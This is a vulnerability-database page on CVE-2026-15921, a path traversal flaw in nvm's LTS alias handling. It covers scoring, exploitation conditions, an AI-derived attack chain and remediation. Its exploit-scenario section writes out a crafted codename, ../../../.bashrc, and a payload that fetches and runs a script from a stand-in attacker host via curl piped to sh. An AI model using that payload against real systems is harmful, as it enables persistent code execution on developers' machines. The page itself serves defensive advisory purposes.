Skip to main content

Node Version Manager CVE-2026-15921

LOW
Path Traversal (CWE-22)
2026-07-15 harborist
2.1
CVSS 4.0 · Vendor: harborist
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Compromise or MITM the victim's nvm mirror
  2. Delivery
    Inject path-traversal LTS codename and shell payload in index.tab
  3. Exploit
    Victim runs nvm ls-remote or install --lts
  4. Execution
    nvm writes attacker payload to ~/.bashrc
  5. Persist
    Victim opens new shell session
  6. Impact
    Injected commands execute as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three simultaneous conditions: (1) The victim must be running nvm version 0.32.1 through 0.40.5. (2) The victim must execute a command that refreshes remote LTS aliases - specifically nvm ls-remote, nvm install --lts, nvm install lts/*, or any alias-refresh operation - during the attacker's window of mirror control. (3) The victim's nvm must communicate with a hostile mirror, achieved via one of: a network MITM attack against an HTTP mirror endpoint, a compromised nodejs.org CDN or third-party mirror, or the victim having a maliciously preconfigured NVM_NODEJS_ORG_MIRROR or NVM_IOJS_ORG_MIRROR environment variable pointing to an attacker-controlled server. No special OS privileges are required and no authentication to nvm itself is involved. Limiting factors: HTTPS with certificate validation mitigates MITM against the official nodejs.org mirror; developers who never run --lts or ls-remote are not exposed; users who have never run nvm against a third-party mirror are limited to CDN-compromise scenarios.

Impact

Despite the 'RCE' tag, the CVSS 4.0 base score of 2.1 correctly reflects the mandatory attack preconditions: AT:P (attack prerequisites present) requires the victim's nvm to communicate with a hostile mirror - achieved via MITM, compromised mirror infrastructure, or a deliberately misconfigured NVM_NODEJS_ORG_MIRROR/NVM_IOJS_ORG_MIRROR environment variable. UI:A (active user interaction) requires the victim to run an affected nvm command. These two gating conditions sharply limit opportunistic or mass exploitation. No EPSS score was provided; KEV status is negative, indicating no confirmed active exploitation by CISA. That said, the impact ceiling is genuinely high: successful exploitation grants the attacker an arbitrary write primitive (path and content both controlled by the mirror) that persists silently until the user opens a new shell, at which point injected commands execute under the victim's identity. Developer workstations - the primary nvm deployment environment - are high-value targets because they typically have access to source code, credentials, cloud tokens, and CI/CD pipelines. The CVSS 4.0 VI:L rating appears conservative given that a write to .bashrc with attacker-controlled content is effectively a deferred arbitrary code execution primitive; this analysis assesses real-world integrity impact as high when the attack prerequisites are met. Priority should be elevated for developers who use public or third-party Node.js mirrors rather than the canonical nodejs.org mirror.

Exploit ScenarioDerived

An attacker positioned as a MITM on the victim's network (or operating a compromised mirror the victim's NVM_NODEJS_ORG_MIRROR points to) serves a crafted index.tab in which the LTS codename column contains ../../../.bashrc and the version column contains a shell command payload such as $(curl attacker.com/shell.sh | sh) #. When the victim runs nvm install --lts or nvm ls-remote, nvm writes that payload string to ~/.bashrc. On the victim's next shell login, the injected command executes silently under the victim's credentials. A proof-of-concept demonstrating both the traversal and payload execution is included in the upstream fix commit's test suite.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 15, 2026

Path traversal in nvm versions 0.32.1 through 0.40.5 allows a hostile Node.js mirror to overwrite arbitrary files in the victim's home directory, including shell startup files, leading to code execution on the next shell session. The vulnerability exists in nvm ls-remote, nvm install --lts, and any other nvm command that refreshes remote LTS aliases by fetching and parsing a mirror's index.tab - the LTS codename field is used as an alias filename without sanitization, permitting sequences like ../../../.bashrc to escape $NVM_DIR/alias. No public exploit identified at time of analysis, but a working proof-of-concept is embedded in the upstream test suite added in the fix commit.

RemediationAI

Upgrade to nvm version 0.40.6, which validates LTS codenames against a strict allowlist regex and rejects any alias containing .. path components. The patch commit is available at https://github.com/nvm-sh/nvm/commit/9275c5badda1d9d0cdad6f34598a111033eadb42 and the security advisory at https://github.com/nvm-sh/nvm/security/advisories/GHSA-4ghp-wxpw-rhpg. As a compensating control for users who cannot upgrade immediately, explicitly set NVM_NODEJS_ORG_MIRROR to the canonical https://nodejs.org/dist and NVM_IOJS_ORG_MIRROR to the canonical io.js mirror in shell startup files to prevent redirection to a hostile mirror - note this does not protect against MITM attacks on the network path. Pinning DNS resolution for nodejs.org to a known-good IP or enforcing HTTPS certificate pinning in corporate environments provides an additional layer of defense against MITM scenarios, though these controls add operational complexity. Inspecting $NVM_DIR/alias/lts/ for filenames containing dots or slashes can help detect prior exploitation.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

nvm is a POSIX shell function (not a compiled binary) that manages multiple Node.js installations by writing small alias files under $NVM_DIR/alias/lts/. When refreshing LTS metadata it fetches the mirror's index.tab, a tab-delimited file where column 10 is the LTS codename (e.g., 'Iron'). CWE-22 (Path Traversal) applies because nvm used this field directly as a filename component via nvm_make_alias without stripping .. path segments. A mirror-supplied codename of ../../../.bashrc causes the shell's printf > '$NVM_DIR/alias/../../../.bashrc' write to resolve to the user's home directory. The content written is the version string from the same mirror row - also attacker-controlled - enabling injection of arbitrary shell code. Affected CPE: cpe:2.3:a:nvm-sh:nvm:*:*:*:*:*:*:*:* versions 0.32.1-0.40.5. The fix (commit 9275c5b) adds two controls: an awk regex ^[a-z0-9][a-z0-9._-]*$ rejecting non-conforming codenames during index.tab parsing, and a case block in nvm_make_alias that rejects any alias containing a /../ component.

Know when Nvm gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (harborist) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 5.3 MEDIUM

AC:H for required MITM or mirror compromise precondition; I:H because attacker-controlled content written to shell startup files yields deferred arbitrary code execution.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (harborist).

CVSS VectorVendor: harborist

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Node Version Manager (nvm) is a POSIX-compliant shell function for managing multiple node.js versions. In versions 0.32.1 through 0.40.5, nvm ls-remote (and other commands that refresh remote LTS aliases, such as nvm install --lts) parse the node.js mirror's index.tab and use each release's LTS codename field as an alias filename without validating it. A malicious, compromised, or man-in-the-middled mirror can return an LTS codename containing path-traversal sequences such as ../../../.bashrc, causing nvm to write the associated version string to a path outside $NVM_DIR/alias. With the default layout ($NVM_DIR is ~/.nvm), this can create or overwrite files in the user's home directory, including shell startup files, which can lead to code execution in a later shell session. Exploitation requires the victim to use a hostile mirror -- via a compromised mirror or CDN, a network man-in-the-middle, or a maliciously configured NVM_NODEJS_ORG_MIRROR/NVM_IOJS_ORG_MIRROR -- and to run an affected command. Version 0.40.6 validates remote LTS codenames as safe alias filenames and rejects .. path components when writing alias files.

Threat Intelligence Overview

EPSS Score
0.2%
Top 87% exploitable
Prevalence
Medium
widely used Node.js developer tool, not a production server component
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

10
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

cpe:2.3:a:nvm-sh:nvm:*:*:*:*:*:*:*:*

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy